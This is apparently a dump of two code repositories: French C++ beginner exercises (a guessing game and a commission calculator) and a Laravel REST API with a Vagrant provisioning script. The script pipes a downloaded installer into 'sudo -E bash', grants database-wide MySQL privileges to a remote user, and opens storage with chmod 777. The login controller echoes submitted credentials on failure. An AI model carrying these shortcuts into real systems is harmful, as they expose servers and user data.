101 Ceci n'est pas un nombre entre 1 et 100. Veuillez réessayer, il vous reste (nbChance--) chances
-1 Ceci n'est pas un nombre entre 1 et 100. Veuillez réessayer, il vous reste (nbChance--) chances
réponse = à iRandom Bravo! Votre réponse est bien égal au nombre aléatoire.
*/
// Auteur : <NAME>
// Date : 2020-10-02
#include <iostream>
#include <time.h>
using namespace std;
int main()
{
// Déclaration des variables
int iRandom; // permet de mémoriser le nombre choisi aléatoirement par l’ordinateur
int reponse; // Réponse de l'utilisateur. Je fais l'hypothèse que la réponse sera -1
srand(time(0)); // pour activer l’aléatoire dans le programme
iRandom = rand() % 101; // l’ordinateur calcule un nombre aléatoire entre 0 et 100 et le stocke dans iRandom
int nbChance = 4; //Je met le nombre de chance à 4 puisqu'avant la boucle je demande à l'utilisateur d'entrer pour une première fois un nombre entre 1 et 100
// On demande à l'utilisateur de rentrer un nombre entre 1 et 100.
cout << "Veuillez entrer une nombre entre 1 et 100, vous avez 5 chances: ";
cin >> reponse;
while (nbChance >= 1 && reponse != iRandom )
{
if (reponse < 0 || reponse > 100)
{
cout << "Ceci n'est pas un combre entre 1 et 100. Veuiilez recommencer, il vous reste " << nbChance << " chance(s): ";
cin >> reponse;
}
else
{
cout << "Veuillez entrer une nombre entre 1 et 100, il vous reste " << nbChance << " chance(s): ";
cin >> reponse;
}
nbChance--;
if (nbChance == 0)
{
cout << "Désolé il ne vous reste plus de chances.";
}
}
if (reponse == iRandom)
{
cout << "Bravo le nombre choisi est bien égal au nombre aléatoire.";
return 0;
}
}
<file_sep>/* Énoncé - contraintes
Une grosse société de produits chimiques rémunère ses représentants commerciaux à la commission. Les
représentants reçoivent 250 $ par semaine plus 7.5% de leurs ventes brutes par semaine. Par exemple, un
représentant qui vend pour 5000 $ de produits chimiques en une semaine, perçoit un salaire de 250 $ plus 7.5 % de
5000$, soit un total de 625 $.
// But :Développez un programme qui entre les ventes brutes hebdomadaires de chaque représentant et qui calcule et
//affiche son salaire.Entrez - 1 à la valeur des ventes pour quitter le programme.
PLAN TEST
Ventes ($) par semaine Salaire fixe Commission Salaire total
5000$ 250 375 625
10 000$ 250 750 1000
-1 Vous avez quitté le programme
*/
// Auteur : <NAME>
// Date : 2020-10-02
#include <iostream>
using namespace std; // Pour alléger le code et plus mettre std:: avant les cout, cin, endl, ...
int main()
{
setlocale(LC_ALL, "");
// Déclaration des variables au début du programme
int venteBrute; // Valeur des ventes brutes réalisées par l'employé
float montantCommission = 0; // Calcul de la commission selon le montant des ventes. Au début il n'a aucune commission de réalisée et on doit initialisé la variable
float salaireTotal = 0; //Calcul du salaire total réalisé par l'employé. salaireTotal= montantCommission + SALAIRE_HEBDO
//Déclaration des constantes
const int SALAIRE_HEBDO = 250; // le salaire hebdomadaire d'un employé est de 250 donc on met une constante au cas où il changerait
const float TAUX_COMMISSION = 7.5; // Pourcentage de commission pour les ventes réalisées. Pour avoir à changer la valeur à une seule place
//Le taux pourrait changer dans le futur donc on utilise une constante. Pour avoir à changer la valeur à une seule place
//On demande le montant des ventes réalisé en une semaine
cout << "Veuillez enter le montant des ventes réalisé cette semaine : ";
cin >> venteBrute; // On stock la valeur dans la variable
while (venteBrute != -1)
{
//On calcul le montant de la commission selon les ventes réalisées. montantCommission = ((venteBrute * TAUX_COMMISSION)/100)
montantCommission = ((venteBrute * TAUX_COMMISSION) / 100);
//Calcul du salaire total
salaireTotal = montantCommission + SALAIRE_HEBDO;
cout << "Votre montant en commission s'élève à : " << montantCommission << endl;
cout << "Votre salaire hebdomadaire est de " << salaireTotal << endl;
//On redemande le montant des ventes réalisé en une semaine pour réinitialisé la variable.
cout << "Veuillez enter le montant des ventes réalisé cette semaine : ";
cin >> venteBrute; // On stock la valeur dans la variable
}
cout << "Vous avez quitté le programme.";
return 0;
} | d358833e149c1adf8f5d2bc3e2a7c7aaf05570cb | [
"C++"
] | 2 | C++ | MarcoParizien/SolutionLaboARemettre03 | e6968d0dbb07f452d18bc2911ce58267d5fc10b0 | 1d73cf38eca5a849ad37cb89b4e0f0cc25b4d85d |
refs/heads/master | <repo_name>diegocam/WallAPI<file_sep>/VagrantProvision.sh
#!/usr/bin/env bash
export DEBIAN_FRONTEND=noninteractive
readonly DB_NAME=wall
readonly WEB_VHOST_NAME=wall-api.local
readonly LARAVEL_ROOT=/var/www
# -- Install Dependencies
add-apt-repository ppa:ondrej/php
apt-get update -y
apt-get upgrade -yq
apps=(
nginx
curl
git
ntp
zip
mysql-server
php7.2
php7.2-fpm
php7.2-dev
php7.2-apcu
php7.2-cli
php7.2-curl
php7.2-gd
php7.2-mysql
php7.2-mbstring
php7.2-xml
php-pear
php7.2-zip
)
apt-get install -y ${apps[@]}
# -- Nginx Config
SITE=$(cat <<EOF
server {
listen 80;
server_name $WEB_VHOST_NAME;
root /var/www/public;
index index.php;
location / {
try_files \$uri \$uri/ /index.php?\$query_string;
}
location ~ \.php {
fastcgi_pass unix:/var/run/php/php7.2-fpm.sock;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME \$document_root/\$fastcgi_script_name;
}
location ~ /\.ht {
deny all;
}
}
EOF
)
# Create VHost for Vault app
if [ ! -f /etc/nginx/sites-available/$WEB_VHOST_NAME ]; then
echo "$SITE" >> /etc/nginx/sites-available/$WEB_VHOST_NAME
ln -s /etc/nginx/sites-available/$WEB_VHOST_NAME /etc/nginx/sites-enabled/$WEB_VHOST_NAME
fi
# Nginx Cleanup
if [ -d /var/www/html ]; then
rm -rf /var/www/html
fi
# -- MySQL Config
MYCNF=$(cat <<EOF
[client]
user=vagrant
password="<PASSWORD>"
[mysql]
user=vagrant
password="<PASSWORD>"
[mysqldump]
user=vagrant
password="<PASSWORD>"
[mysqldiff]
user=vagrant
password="<PASSWORD>"
EOF
)
if [ ! -f /home/vagrant/.my.cnf ]; then
echo "$MYCNF" >> /home/vagrant/.my.cnf
chown vagrant:vagrant /home/vagrant/.my.cnf
chmod 600 /home/vagrant/.my.cnf
fi
# Create Database
if [ ! -d /var/lib/mysql/$DB_NAME ]; then
mysql -u root -e "CREATE DATABASE $DB_NAME"
fi
mysql -u root -e "GRANT ALL PRIVILEGES ON *.* TO 'vagrant'@'%' IDENTIFIED BY 'vagrant'"
mysql -u root -e "FLUSH PRIVILEGES"
# -- MySQL Binding
echo "[mysqld]" >> /etc/mysql/conf.d/bind.cnf
echo "bind-address = 0.0.0.0" >> /etc/mysql/conf.d/bind.cnf
# -- Composer
wget --quiet https://getcomposer.org/composer.phar
mv composer.phar /usr/local/bin/composer
chmod +x /usr/local/bin/composer
composer self-update
# -- Laravel
if [ -d $LARAVEL_ROOT ]; then
chmod 777 $LARAVEL_ROOT/storage -R
fi
cd $LARAVEL_ROOT
# -- FrontEnd Tooling
curl -sL https://deb.nodesource.com/setup_8.x | sudo -E bash -
apt-get install -y nodejs
npm i npm@latest -g
npm i yarn -g
# -- Hosts
echo "192.168.50.6 $WEB_VHOST_NAME" | tee -a /etc/hosts
# -- Misc
service nginx restart
# -- Profile
echo "alias phpunit=/var/www/vendor/bin/phpunit --debug" >> /home/vagrant/.profile
echo "cd $LARAVEL_ROOT" >> /home/vagrant/.profile
export PATH="/var/www/scripts:$PATH"
echo "clear" >> /home/vagrant/.profile
<file_sep>/app/Http/Controllers/AuthController.php
<?php
namespace App\Http\Controllers;
use App\Models\User;
use Hash;
use Illuminate\Http\Request;
class AuthController extends Controller
{
public function register(Request $request)
{
$this->validate($request, [
'first_name' => 'required',
'last_name' => 'required',
'email' => 'required|email|unique:users',
'password' => '<PASSWORD>',
]);
$user = new User([
'first_name' => $request->input('first_name'),
'last_name' => $request->input('last_name'),
'email' => $request->input('email'),
'password' => <PASSWORD>($request->input('password')),
]);
$user->save();
$token = $this->createToken($request);
return response()->json([
'message' => 'Successfully created user!',
'user' => $user,
'token' => $token,
], 201);
}
public function login(Request $request)
{
$this->validate($request, [
'email' => 'required|email',
'password' => '<PASSWORD>',
]);
$user = User::query()
->where('email', $request->input('email'))
->first();
if ($user && Hash::check($request->input('password'), $user->password)) {
return response()->json([
'message' => 'Successfully created user!',
'user' => $user,
'token' => $this->createToken($request),
], 201);
} else {
return response()->json([
'message' => 'Login failed',
'received' => [
$request->input('email'),
bcrypt($request->input('password')),
],
], 401);
}
}
public function logout()
{
auth()->user()->tokens->each(function ($token, $key) {
$token->delete();
});
return response()->json('Logged out sucessfully', 200);
}
private function createToken(Request $request)
{
$http = new \GuzzleHttp\Client;
$response = $http->post(url('/oauth/token'), [
'form_params' => [
'grant_type' => 'password',
'client_id' => config('services.passport.client_id'),
'client_secret' => config('services.passport.client_secret'),
'username' => $request->input('email'),
'password' => $request->input('<PASSWORD>'),
'scope' => '',
],
]);
return json_decode((string) $response->getBody(), true);
}
}
<file_sep>/app/Http/Controllers/UserController.php
<?php
namespace App\Http\Controllers;
use App\Models\User;
use Illuminate\Http\Request;
class UserController extends Controller
{
/**
* Returns a list of all users
*
* @return \Illuminate\Http\JsonResponse
*/
public function index()
{
$user = User::get();
return response()->json($user, 200);
}
/**
* Returns a single user with proper relations
*
* @return \Illuminate\Http\JsonResponse
*/
public function getUser(User $user)
{
$user = User::with('posts.comments.user')
->where('id', $user->id)
->first();
return response()->json($user, 200);
}
}
<file_sep>/app/Http/Controllers/WallController.php
<?php
namespace App\Http\Controllers;
use App\Models\User;
class WallController extends Controller
{
public function index()
{
$users = User::with('posts')->has('posts')->get();
return response()->json($users, 200);
}
}
<file_sep>/README.md
# Wall - API
## Description
PHP/Laravel RESTful API to manage users, posts, comments, registration, authorizaion.
## Setup
### Requirements
* [Git Client](https://git-scm.com/downloads)
* [Vagrant](https://www.vagrantup.com/downloads.html)
* [Virtual Box](https://www.virtualbox.org/wiki/Downloads)
### Installation Steps
1. Clone this repo to your local environment:
```
git clone https://github.com/diegocam/WallAPI.git
```
2. Move into the directory created above `cd WallAPI`
3. Run and install the Vagrant environment. This may take about 10-20 minutes depending on your machine
```
vagrant up —-provision
```
4. Copy `.env.example` to a new file called `.env`
```
cp .env.example .env
```
5. Add an entry to your Hosts file (/etc/hosts). This is the IP/domain Vagrant is setup to use (192.168.50.5 wall-api.local)
```
echo "192.168.50.5 wall-api.local" | sudo tee -a /etc/hosts
```
6. SSH into the vagrant environment
```
vagrant ssh
```
7. Install dependencies with composer
```
composer install
```
8. Set your application key. This should automatically add an encrypted key inside `.env` for the `APP_KEY=` entry
```
php artisan key:generate
```
9. Set your DB env variables in `.env`
```
DB_DATABASE=wall
DB_USERNAME=vagrant
DB_PASSWORD=<PASSWORD>
```
10. Run migrations: `php artisan migrate`
11. Set encryption keys for Passport:
```
php artisan passport:keys
```
12. Create a password grant client. (**CRUCIAL**)
1. Run `php artisan passport:client --password`.
2. It will ask your for a name, you may hit enter to leave it as is or enter `Wall Front` for a more descriptive name.
3. When done, you will see a `Client ID` and a `Client Secret`. You will need those to update your `.env` entries.
4. Open up `.env` and towards the bottom you will see the empty entries. Fill them out using the `Client ID` and `Client Secret` from above.
```
PASSPORT_CLIENT_SECRET=
PASSPORT_CLIENT_ID=
```
13. On a browser, try going to http://wall-api.local to see the Laravel welcome screen. If you see this, you have successfully installed the API locally.
<file_sep>/routes/api.php
<?php
use Illuminate\Http\Request;
/*
|--------------------------------------------------------------------------
| API Routes
|--------------------------------------------------------------------------
|
| Here is where you can register API routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| is assigned the "api" middleware group. Enjoy building your API!
|
*/
Route::middleware('auth:api')->get('/user', function (Request $request) {
return $request->user();
});
Route::middleware(['auth:api'])->group(function () {
// Using "apiResource" as opposed to "Resource" will only create index, store, show, update, and destroy routes.
Route::apiResource('/users', 'UserController');
Route::post('/post', 'PostController@store');
Route::post('/comment/{post}', 'CommentController@store');
Route::post('/logout', 'AuthController@logout');
});
Route::post('/register', 'AuthController@register');
Route::post('/login', 'AuthController@login');
Route::get('/user/{user}', 'UserController@getUser');
Route::get('/walls', 'WallController@index');
<file_sep>/Vagrantfile
# -*- mode: ruby -*-
# vi: set ft=ruby :
# Vagrant Box Settings
box = 'bento/ubuntu-18.04' # Vagrant box to use
ip = '192.168.50.5' # VM Server IP Address
hostname = 'wall-api.local' # VM Server Hostname
vboxname = 'Wall API' # VB Name
provisioner = 'VagrantProvision.sh' # Path to provisioning script
Vagrant.configure("2") do |config|
# Box
config.vm.box = box
config.vm.hostname = hostname
config.vm.provider "virtualbox" do |p|
p.name = vboxname
p.customize ["modifyvm", :id, "--memory", 2048]
end
# Network
config.vm.network "private_network", ip: ip
config.vm.network :forwarded_port, guest: 80, host: 8080, auto_correct: true
# Folder Sync
config.vm.synced_folder ".", "/var/www", id: "vagrant", type: "nfs", mount_options: ['nolock', 'vers=3', 'tcp', 'fsc', 'rw', 'noatime', 'actimeo=1']
# Misc
config.ssh.shell = "bash -c 'BASH_ENV=/etc/profile exec bash'"
# Provisioning
config.vm.provision "shell" do |s|
s.path = provisioner
end
end
<file_sep>/app/Http/Controllers/PostController.php
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use App\Models\Post;
class PostController extends Controller
{
public function store(Request $request)
{
$post = new Post();
$post->user_id = $request->user()->id;
$post->content = $request->content;
$post->save();
return response()->json($post, 201);
}
}
<file_sep>/app/Models/Post.php
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
class Post extends Model
{
protected $appends = ['updated_when'];
protected $dates = ['created_at', 'updated_at'];
public function user()
{
return $this->belongsTo(User::class);
}
public function getUpdatedWhenAttribute($value)
{
return $this->updated_at->diffForHumans();
}
public function comments()
{
return $this->hasMany(Comment::class);
}
}
| a3e9e54a019f5aa9342240188e6d3216fc69395f | [
"Markdown",
"Ruby",
"PHP",
"Shell"
] | 9 | Shell | diegocam/WallAPI | 38546faef4ff11c09a59b19cc2ab4ff1f6ee5814 | 7db0204c50197f5d3e53808f57688f4aaf2be19d |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.